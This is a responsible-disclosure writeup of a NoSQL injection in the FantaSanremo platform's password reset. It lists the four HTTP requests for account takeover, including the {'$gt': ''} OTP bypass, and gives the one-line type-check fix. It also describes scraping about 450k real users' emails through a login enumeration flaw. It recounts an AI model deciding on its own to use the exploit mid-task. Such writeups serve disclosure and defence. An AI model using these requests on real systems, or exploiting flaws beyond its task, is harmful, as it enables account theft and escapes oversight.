How We Owned Every FantaSanremo Account in 2 HTTP Requests
TL;DR
Every February, Italy goes Sanremo-crazy. FantaSanremo is the fantasy game built around it: you pick your favourite artists, rack up points, and argue with your friends about it. AppFactory also runs the same platform for MasterChef, the Olympics, and the Giro d'Italia under the same codebase. On March 1st around 4pm, one of my friends sent a message that said "Sunday afternoon project?" and linked the app. By 5:50pm we had confirmed full account takeover on all 5.2 million accounts. This is the writeup.
Responsible Disclosure
The Hypothesis: Is AI-Coded Software Less Secure?
Our starting point was a simple question: do apps built heavily with AI assistance ship more exploitable bugs? AI tools are good at producing working code fast, less good at producing secure code. You ask for a password reset flow and you get one that works, not necessarily one that checks its inputs before touching the database.
The whole bug: the backend uses MongoDB, and the password reset flow passes user-supplied JSON straight into query filters without checking what type the fields actually are.
Recon
First thing we noticed was that the frontend renders React comments as plaintext in the page source. That is a telltale sign of Create React App with default settings, which has been unmaintained for over two years. Not a vulnerability on its own, but not a great signal.
More interesting: the Swagger UI for the entire API is publicly accessible with full documentation for both production and staging environments, including every endpoint, every request body shape, and every response schema. The admin API also had its OpenAPI spec exposed. No authentication required to browse any of it.
Exposed Swagger
The full API documentation for all platforms was publicly reachable. It listed every auth endpoint, including /auth/check-password-reset and its undocumented password field, which turned out to be half the attack.
Worth saying: these are not amateurs. AppFactory moved the backend to AWS Lambda to survive the load on Sanremo evenings, and the backoffice runs on AWS Cognito. The infrastructure is fine. The bug is purely in the application layer.
What Is NoSQL Injection?
SQL injection works by breaking out of a string context to inject SQL syntax. MongoDB injection is different: query filters are plain JavaScript objects, and JSON natively supports nested objects. So instead of sending a string, you can send a MongoDB operator like { "$gt": "" } and the database will evaluate it as a comparison rather than treating it as a literal value.
If the backend does this:
// req.body.code is supposed to be a 6-digit string
const reset = await db.collection("password_resets").findOne({
email: req.body.email,
code: req.body.code, // no type check
});...and you send "code": {"$gt": ""} instead of an OTP, the email still pins the query to the victim's reset record while { "$gt": "" } matches its code regardless of value. The app never knows anything went wrong.
Why the Fix Is One Line
A check like typeof req.body.code !== "string" before the query is all it takes. NestJS ships with class-validator for exactly this purpose. The bug exists because DTO validation was either not set up or not generated by whatever tool wrote this code.
The Kill Chain: Two Core Requests, Four Start to Finish
Confirm the target account exists
Sending a login with a real email and a wrong password gives you different error messages based on whether the account exists. Minor bug on its own, useful here as a recon step.
POST /auth/signin
{ "email": "[email protected]", "password": "x" }
// "The password is incorrect" -> account exists
// "This user does not exist" -> no account
// "User is already registered with a Google login" -> OAuth userTrigger a password reset
One request creates a reset record in MongoDB with a 6-digit OTP. The victim gets an email, but they do not need to click anything. The record is in the database and we can attack it right now.
POST /auth/send-password-reset
{ "email": "[email protected]" }Bypass the OTP and set a new password
The code field goes straight into a MongoDB filter with no type validation. Sending { "$gt": "" } matches the victim's reset record regardless of its OTP, so the check passes. The endpoint also takes an undocumented password field that sets the new password on the spot. One request and the account belongs to the attacker.
POST /auth/check-password-reset
{
"email": "[email protected]",
"code": { "$gt": "" },
"password": "attacker-chosen-password"
}Log in as the victim
Normal login with the new password. The API hands back a JWT access token and a refresh token. The real user is locked out.
POST /auth/signin
{ "email": "[email protected]", "password": "attacker-chosen-password" }
// { "accessToken": "eyJ...", "refreshToken": "..." }Impact
Zero authentication, zero victim interaction. Against a known email, two requests do it (trigger the reset, then bypass the OTP); recon and login bring it to four. Because AppFactory runs FantaSanremo, FantaMasterChef, FantaOlimpiadi, and FantaGiro on one shared codebase, every account across all four platforms was in scope at once, on both staging and production. A takeover hands over the victim's profile, teams, achievements, and notifications, and locks the real user out.
The user enumeration bug on /auth/signin also made it possible to build an email list by throwing common Italian names and Gmail patterns at the endpoint. We scraped around 450k confirmed emails out of the 5.2 million total accounts before the API started responding with:
HTTP 403
{ "message": "Sei forse un robot?" }Rate limiting kicked in eventually. The scraping was slow and incomplete for that reason, but it still confirms that a targeted attack against known email addresses (from a data breach, for example) would work instantly at any scale.
Back to the Hypothesis
Did we prove AI-coded software is less secure? Not rigorously. But the bug is a good example of what AI tends to miss. The code worked: it created the reset record, checked the code, set the password. The logic was right. It just trusted its inputs completely, and never asked whether code was actually a string.
That question comes up naturally in code review. Someone reads the query, thinks "what happens if you throw an object at this", and adds a type check. A model generating a working demo has no reason to ask. Without validation baked into the project from the start, it never gets asked.
One last detail. One of us was using Claude to automate parts of the scraping. At some point it lost track of context and started worrying out loud that it had no valid password to log in with. Then it said: "Wait! I can reset the password with our vulnerability!" and proceeded to use the injection to reset its own test account's password and log in. An AI model, rediscovering and then independently exploiting the bug we had just found. Make of that what you will.
Takeaway
If you are shipping an API that talks to MongoDB, never pass user-supplied fields directly into query filters without checking their type first. In NestJS, turn on ValidationPipe globally and put class-validator decorators on every DTO. It takes ten minutes and kills this entire class of bugs. The database will evaluate whatever you give it.